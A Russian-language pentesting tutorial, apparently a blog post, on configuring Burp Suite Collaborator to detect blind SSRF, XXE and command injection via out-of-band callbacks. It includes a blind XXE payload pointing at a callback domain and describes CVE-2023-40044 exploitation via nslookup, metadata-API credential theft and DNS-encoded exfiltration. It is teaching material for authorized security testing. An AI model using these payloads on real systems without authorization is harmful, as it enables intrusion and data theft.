Настройка Burp Suite Collaborator: обнаружение out-of-band уязвимостей на практике

На пентесте SaaS-платформы автоматический сканер Burp Suite прошёл все эндпоинты и вернул чистый отчёт — ноль findings по SSRF. Ручная проверка через Collaborator заняла 15 минут: payload в заголовке Referer вызвал DNS-запрос на подконтрольный домен спустя 40 секунд после отправки. Сервер обрабатывал URL асинхронно — фоновым воркером, — и сканер просто не дождался ответа.

Таких ситуаций хватает: blind SSRF, blind XXE, слепые OS command injection. Их объединяет одно — приложение не возвращает результат обработки в HTTP-ответе. Без внеполосного (out-of-band) канала обнаружить их нечем. Сканер видит 200 OK и идёт дальше. А уязвимость — вот она, просто молчит.

Что такое OAST-тестирование и почему сканеры пропускают слепые уязвимости

Классическое динамическое тестирование — DAST (Dynamic Application Security Testing) — работает прямолинейно: отправляем payload в параметр, анализируем HTTP-ответ. Видим SQL-ошибку — фиксируем инъекцию. Видим отражённый скрипт — фиксируем XSS. Но целый класс уязвимостей не оставляет следов в ответе сервера:

• Blind SSRF (Server-Side Request Forgery — подделка серверных запросов, категория OWASP A10:2021) — сервер обращается по указанному URL, но не показывает результат пользователю
• Blind XXE (XML External Entity — внедрение внешних XML-сущностей) — XML-парсер загружает внешний ресурс, но значение сущности не попадает в ответ
• Blind OS command injection — команда выполняется на сервере, вывод не возвращается клиенту
• Асинхронные уязвимости — payload обрабатывается не сразу, а фоновым процессом спустя секунды или минуты: очереди задач, email-рендеринг, отложенная аналитика

Для этих случаев придумана методология OAST (Out-of-Band Application Security Testing — тестирование безопасности через внеполосный канал). Идея простая: вместо анализа ответа мы заставляем уязвимое приложение обратиться к серверу, который контролируем. Сам факт обращения — доказательство уязвимости.

Согласно документации PortSwigger, внедрение OAST через Burp Collaborator позволило обнаруживать «огромный новый класс багов, включая blind SQL injection, blind XSS и blind OS command injection» — то, что DAST в чистом виде пропускает. При этом OAST сохраняет главное преимущество динамического тестирования: крайне низкий уровень ложных срабатываний. Если взаимодействие зафиксировано — уязвимость реальна, а не гипотетична.

Как работает Burp Suite Collaborator — архитектура и протоколы

Collaborator — набор облачных серверов, которые PortSwigger поддерживает для пользователей Burp Suite Professional (инструмент активно поддерживается). Серверы реализуют несколько сетевых сервисов одновременно:

• DNS — отвечает на любые запросы к своим доменам и поддоменам, возвращая IP-адрес сервера
• HTTP/HTTPS — принимает запросы с валидным CA-подписанным wildcard TLS-сертификатом
• SMTP/SMTPS — принимает email-сообщения

Текущие домены Collaborator: *.burpcollaborator.net и *.oastify.com. PortSwigger периодически добавляет новые домены, чтобы снизить вероятность блокировки WAF (Web Application Firewall — межсетевой экран уровня приложений, фильтрующий HTTP-трафик по правилам).

Разберём механику DNS callback — без неё остальное не щёлкнет:

1. Burp генерирует уникальный поддомен — например, a1b2c3d4e5f6.oastify.com
2. Пентестер вставляет этот поддомен как payload в запрос к целевому приложению
3. Если приложение уязвимо и обрабатывает значение, оно пытается резолвить доменное имя — отправляет DNS-запрос своему настроенному резолверу
4. Резолвер следует по цепочке DNS-делегирования и в итоге обращается к Collaborator-серверу, который является авторитетным для зоны oastify.com
5. Collaborator фиксирует запрос: IP-адрес источника, временну́ю метку, уникальный префикс поддомена (именно он привязывает взаимодействие к конкретному payload)
6. Burp Suite опрашивает (polling) Collaborator-сервер каждые 60 секунд и отображает результаты во вкладке Collaborator

Уникальность поддомена гарантирует, что при отправке 50 payload в разные параметры Collaborator покажет, какой именно сработал. Не просто детекция — точная атрибуция уязвимости к конкретной точке ввода.

Настройка Burp Suite Collaborator

Публичный сервер PortSwigger — старт за минуту

Требования к окружению: — Burp Suite Professional (в Community Edition Collaborator отсутствует) — ОС: Windows / macOS / Linux — RAM: от 4 ГБ (рекомендуется 8 ГБ при активном сканировании крупных приложений) — Сетевой доступ: целевое приложение должно выполнять DNS-запросы и HTTP-обращения к *.burpcollaborator.net и *.oastify.com (порты 80 и 443)

По умолчанию Burp Pro настроен на публичный сервер. Чтобы убедиться и проверить работоспособность:

1. Откройте Settings → Project → Collaborator
2. Убедитесь, что выбран пункт Use the default Collaborator server
3. Нажмите Run health check — Burp проверит DNS-резолв, HTTP- и SMTP-взаимодействие, а также polling. Все пункты зелёные — Collaborator готов

Если health check показывает ошибки — первым делом проверьте, не блокирует ли корпоративный прокси или firewall исходящие запросы к доменам Collaborator. В сетях с белым списком DNS это самая частая причина.

Когда публичный сервер не подходит: — Целевое приложение находится в изолированной сети без выхода в интернет — Политика безопасности заказчика запрещает отправку данных на сторонние серверы (NDA, compliance) — Домены Collaborator заблокированы на WAF целевой инфраструктуры

Приватный Collaborator server на VPS

[Применимо: внутренний пентест, изолированные сети, проекты с жёсткими требованиями NDA]

Для ограниченных сред можно развернуть собственный экземпляр Collaborator-сервера. Серверный компонент входит в дистрибутив Burp Suite Professional.

Требования к окружению: — VPS с Linux (Ubuntu 20.04+, Debian 11+): от 1 ГБ RAM, 1 vCPU — Зарегистрированный домен (например, oast.yourdomain.com) — Открытые порты: 53/UDP+TCP (DNS), 80/TCP (HTTP), 443/TCP (HTTPS), 25/TCP (SMTP — опционально) — NS-записи в DNS-зоне родительского домена, делегирующие поддомены на IP вашего VPS

Типичные ошибки, на которых теряются часы:

DNS-делегирование. Одной A-записи недостаточно. Нужны NS-записи, указывающие, что DNS для callback-домена обслуживает ваш VPS. Без корректного делегирования DNS-запросы от целевого приложения не дойдут до вашего сервера, и Collaborator будет молчать. Я видел, как люди по два дня отлаживали конфиг Collaborator, а проблема была в NS-записях у регистратора.

Firewall на VPS. Порт 53/UDP часто закрыт по умолчанию у VPS-провайдеров. Без него DNS-взаимодействия не регистрируются — а DNS это основной канал обнаружения out-of-band уязвимостей.

IP вместо домена. Если в настройках Burp указать IP-адрес вместо доменного имени, вся функциональность, зависящая от DNS-резолва, перестаёт работать. Документация PortSwigger говорит прямо: «If you specify an IP address then any Collaborator-related functionality that relies on DNS resolution will not be available». Всегда указывайте доменное имя.

В Burp: Settings → Project → Collaborator → Use a private Collaborator server. В поле Server location — доменное имя. Опционально настройте Polling location, если polling идёт через отдельный сетевой интерфейс. Запустите health check для проверки.

Blind SSRF обнаружение через Collaborator — делай раз, делай два, делай три

[Применимо: внешний пентест, black box, веб-приложения с функциями обработки URL — webhook, redirect, fetch, import]

Требования к окружению: — Burp Suite Professional с работающим Collaborator (health check пройден) — Браузер, проксированный через Burp (встроенный Chromium или системный с настроенным прокси на 127.0.0.1:8080) — Целевое приложение, доступное по HTTP/HTTPS

Зачем это нужно: blind SSRF позволяет атакующему заставить сервер отправлять запросы к произвольным адресам — включая внутренние сервисы (metadata API облачных провайдеров вроде 169.254.169.254, базы данных, административные панели). Даже если результат запроса не виден в ответе, сам факт управления серверными запросами — критическая уязвимость. Через metadata API в AWS, например, можно вытащить IAM-креды за один запрос.

Шаг 1. Просмотрите целевое приложение через проксированный браузер. Кликайте по страницам, отправляйте формы, взаимодействуйте с функциональностью. Burp запишет все запросы в Proxy → HTTP history.

Шаг 2. Найдите запросы с параметрами, где приложение потенциально обращается к внешним ресурсам. Типичные точки инъекции для blind SSRF: — Заголовок Referer — серверы аналитики нередко обрабатывают его в фоне — URL-параметры: callback=, redirect=, url=, next=, link=, src= — Тело запроса в webhook-интеграциях и API-коллбэках — Поля импорта данных по URL: загрузка аватара, RSS, CSV

Шаг 3. Отправьте подозрительный запрос в Repeater: правый клик → Send to Repeater.

Шаг 4. Во вкладке Repeater выделите значение, в которое хотите подставить payload. Правый клик → Insert Collaborator payload. Burp заменит выделенный текст на уникальный поддомен вида x7k2m9p4.oastify.com. Нажмите Send.

Шаг 5. Перейдите на вкладку Collaborator. Если прошло менее 60 секунд — нажмите Poll now. Проверяйте таблицу взаимодействий.

Как понять, что получилось: если в таблице появилась хотя бы одна DNS-запись — целевой сервер попытался резолвить ваш поддомен. Серверная обработка URL подтверждена. Если появился HTTP-запрос — сервер реально отправил запрос по указанному адресу. Кликните на строку взаимодействия — увидите детали: IP-адрес сервера, временну́ю метку, содержимое запроса.

Если Collaborator молчит: — Подождите дольше — асинхронные обработчики срабатывают через минуты или часы, оставьте вкладку открытой — Проверьте, не блокирует ли WAF payload: домен oastify.com менее известен среди WAF-правил, чем burpcollaborator.net — Убедитесь, что целевой сервер имеет исходящий сетевой доступ (в Docker-контейнерах с ограниченной сетью DNS может не работать)

Blind XXE эксплуатация через DNS callback

[Применимо: приложения, принимающие XML — SOAP-сервисы, REST API с XML-телом, загрузка SVG/DOCX/XLSX, парсинг RSS/Atom]

Blind XXE возникает, когда XML-парсер приложения обрабатывает внешние сущности, но не возвращает их значения в ответе. Прямое чтение файлов сервера невозможно, однако через Collaborator можно подтвердить, что парсер обращается к внешним ресурсам — а значит, уязвимость эксплуатируема дальше (error-based exfiltration, parameter entity technique).

Шаг 1. Найдите запрос с XML в теле: ищите Content-Type: application/xml или text/xml в Proxy → HTTP history. Признак: тело начинается с <?xml или содержит XML-структуру.

Шаг 2. Отправьте запрос в Repeater.

Шаг 3. Модифицируйте XML, добавив объявление внешней сущности с Collaborator-доменом. Скопируйте payload из вкладки Collaborator (кнопка Copy to clipboard):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM
  "http://YOUR-SUBDOMAIN.oastify.com"> ]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>

Замените YOUR-SUBDOMAIN.oastify.com на payload из Collaborator, а теги <stockCheck>, <productId>, <storeId> — на реальные теги XML-структуры целевого приложения.

Шаг 4. Отправьте запрос.

Шаг 5. Проверьте вкладку Collaborator → Poll now. Ожидаемый результат: два DNS-взаимодействия (A- и AAAA-запросы) и, возможно, HTTP-запрос. XML-парсер попытался загрузить внешний ресурс — blind XXE доказана.

Документация PortSwigger предупреждает: «There may be a delay before any interaction with the Collaborator server occurs. The Collaborator tab flashes when an interaction occurs» — продолжайте проверять вкладку даже после перехода к другим тестам.

Когда техника НЕ работает: — XML-парсер настроен с отключенной загрузкой внешних сущностей (рекомендованная конфигурация по OWASP, категория A03:2021 — Injection) — WAF фильтрует DOCTYPE в теле запроса — Исходящие DNS/HTTP заблокированы сетевой политикой сервера — Приложение принимает JSON, а не XML — XXE неприменима в принципе

CVE-2023-40044 — как Collaborator доказывает RCE без reverse shell

Реальный кейс, который хорошо показывает OOB-подход на практике — CVE-2023-40044 в WS_FTP Server компании Progress.

Суть уязвимости: в модуле Ad Hoc Transfer сервера WS_FTP (версии до 8.7.4 и 8.8.2) неаутентифицированный атакующий мог отправить специально сформированный HTTP POST-запрос, вызывающий .NET-десериализацию произвольного объекта (CWE-502 — Deserialization of Untrusted Data, категория OWASP A08:2021 — Software and Data Integrity Failures). Результат — удалённое выполнение команд на сервере.

Критичность: — CVSS 10.0 / CRITICAL (это максимум по шкале) — Вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H: атака по сети (AV:N), низкая сложность (AC:L), без аутентификации (PR:N), без участия пользователя (UI:N), полный импакт с выходом за границы компонента (S:C). Если коротко — эксплуатировать может кто угодно, последствия максимальные — EPSS 0.9015 (EPSS — оценка вероятности от 0 до 1, что уязвимость будет эксплуатироваться в ближайшие 30 дней; 0.9015 = top 1%, экстремально высокая вероятность) — В каталоге CISA KEV (реестр уязвимостей, которые УЖЕ эксплуатируются в реальных атаках — если уязвимость попала сюда, патч нужен вчера) с 5 октября 2023 года, активно эксплуатируется ransomware-группами, публичный PoC доступен на GitHub

Как Collaborator помог доказать RCE без получения shell: согласно публичному анализу AssetNote (исследователи Adam Kues и Shubham Shah), для демонстрации эксплуатируемости был создан payload десериализации с помощью ysoserial.net, который вместо reverse shell выполнял команду nslookup с обращением к Collaborator-поддомену:

1. Формирование сериализованного .NET-объекта с командой nslookup COLLABORATOR-SUBDOMAIN
2. Отправка HTTP POST на уязвимый эндпоинт WS_FTP
3. Сервер десериализует тело запроса и выполняет встроенную команду
4. nslookup отправляет DNS-запрос на Collaborator-поддомен
5. Запрос фиксируется в Collaborator — RCE подтверждено без shell-доступа

Dana Epp в своём блоге описывает этот подход так: «Это более пассивная методология, которая позволяет продемонстрировать критичность удалённого выполнения кода без получения backdoor shell на серверной инфраструктуре. Это снижает потенциальную ответственность пентестера, а вендору даёт уверенность, что вы не копались глубоко в его инфраструктуре при верификации уязвимости».

Почему это важно для начинающих: на реальном пентесте не всегда нужен (и не всегда разрешён) полноценный shell. Доказать RCE через DNS callback — чище, безопаснее и убедительнее для заказчика.

В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды — её идентификаторы, по ним можно искать описания на attack.mitre.org) эта атака соответствует T1190 (Exploit Public-Facing Application — эксплуатация публично доступного приложения, тактика Initial Access).

Ограничения Collaborator и OAST-альтернативы

У Collaborator есть чёткие границы применимости. Понимание ограничений — то, что отличает осмысленное использование от бездумного тыканья payload.

Когда OOB-подход бесполезен в принципе: — Целевой сервер не имеет исходящего сетевого доступа (полная изоляция без NAT) — ни DNS, ни HTTP-запрос физически не уйдёт — WAF с глубокой инспекцией блокирует все известные OOB-паттерны и DTD-конструкции — нужны альтернативные техники: error-based XXE, time-based injection — Уязвимость в клиентской части (DOM-based XSS) — OOB-канал серверу не нужен, здесь работает DOM Invader

Interactsh (github.com/projectdiscovery/interactsh, активно поддерживается ProjectDiscovery) — наиболее популярная альтернатива. Нативно интегрируется со сканером nuclei и поддерживает LDAP-взаимодействия, которых у Collaborator нет (это было критично при эксплуатации Log4Shell — CVE-2021-44228). Подходит тем, кто работает без Burp Pro, автоматизирует проверки в CI/CD или нуждается в программном экспорте результатов.

Место Collaborator в цепочке атаки

Collaborator — инструмент фазы обнаружения и подтверждения уязвимостей. Вот как он вписывается в kill chain на языке MITRE ATT&CK:

1. Разведка (Reconnaissance): T1595.002 (Vulnerability Scanning) — сканирование точек ввода, определение параметров, потенциально уязвимых к OOB-инъекции
2. Подготовка ресурсов (Resource Development): T1583.001 (Domains) — получение callback-домена (автоматически при публичном сервере, вручную — при приватном)
3. Первоначальный доступ (Initial Access): T1190 (Exploit Public-Facing Application) — отправка payload с callback-доменом, эксплуатация blind SSRF, XXE, command injection
4. Командование и управление (Command and Control): T1071.004 (DNS), T1071.001 (Web Protocols) — подтверждение уязвимости через DNS/HTTP callback
5. Эксфильтрация (Exfiltration): T1048 (Exfiltration Over Alternative Protocol) — в продвинутых сценариях данные кодируются в поддомен DNS-запроса (например, BASE64_DATA.callback.oastify.com) или передаются в теле HTTP-запроса к Collaborator-серверу

Что идёт ДО Collaborator: crawling приложения, анализ запросов в HTTP history, идентификация точек ввода, формирование гипотез о типе уязвимости. Collaborator подключается на этапе подтверждения — когда стандартные in-band проверки не дали результата, но подозрение осталось.

Что идёт ПОСЛЕ: если Collaborator подтвердил blind SSRF — следующий шаг: оценка импакта (доступ к metadata API облака, сканирование внутренних портов, чтение конфигураций). Если подтвердил blind XXE — попытка эксфильтрации файлов через error-based или parameter entity. Если подтвердил RCE (как в кейсе CVE-2023-40044) — документирование для отчёта и оценка привилегий, под которыми выполняется код.

Большинство пентестеров используют Collaborator на десятую часть его потенциала: включают в настройках, запускают автоматический скан и ждут. Автосканер Burp Suite действительно интегрирован с Collaborator и сам подставляет OOB-payload в очевидные параметры. Но критические blind-находки за последние два года я обнаруживал через ручную инъекцию — в параметры, которые сканер не счёл интересными. Кастомные HTTP-заголовки, значения JSON-полей во вложенных объектах, имена файлов при upload, поля метаданных в PDF и DOCX. Сканер проверяет то, что выглядит как URL или параметр запроса. Серверная логика часто обрабатывает данные из мест, о которых сканер не догадывается, — и там прячутся SSRF с обращением к внутренним API и XXE с чтением конфигурационных файлов.

OOB-уязвимости непропорционально часто появляются в микросервисных архитектурах, где один сервис передаёт пользовательский ввод другому без валидации. Первый сервис возвращает 200 OK с типовым ответом, а второй — в фоне — парсит XML, ходит по URL или выполняет команду. Сканер видит 200 OK и переходит к следующему запросу. Collaborator ждёт.

Выработайте привычку: вставляйте Collaborator-payload в каждый нестандартный заголовок и каждое поле, которое не влияет на ответ явно. Две минуты на запрос — но именно эти две минуты отличают отчёт с нулём findings от отчёта с critical. Чтобы делать это осмысленно, нужен фундамент: понимание HTTP, DNS, типов уязвимостей и логики их обнаружения. Если хочешь пройти базу системно, а не собирать по статьям — на Codeby Academy есть IB Basics.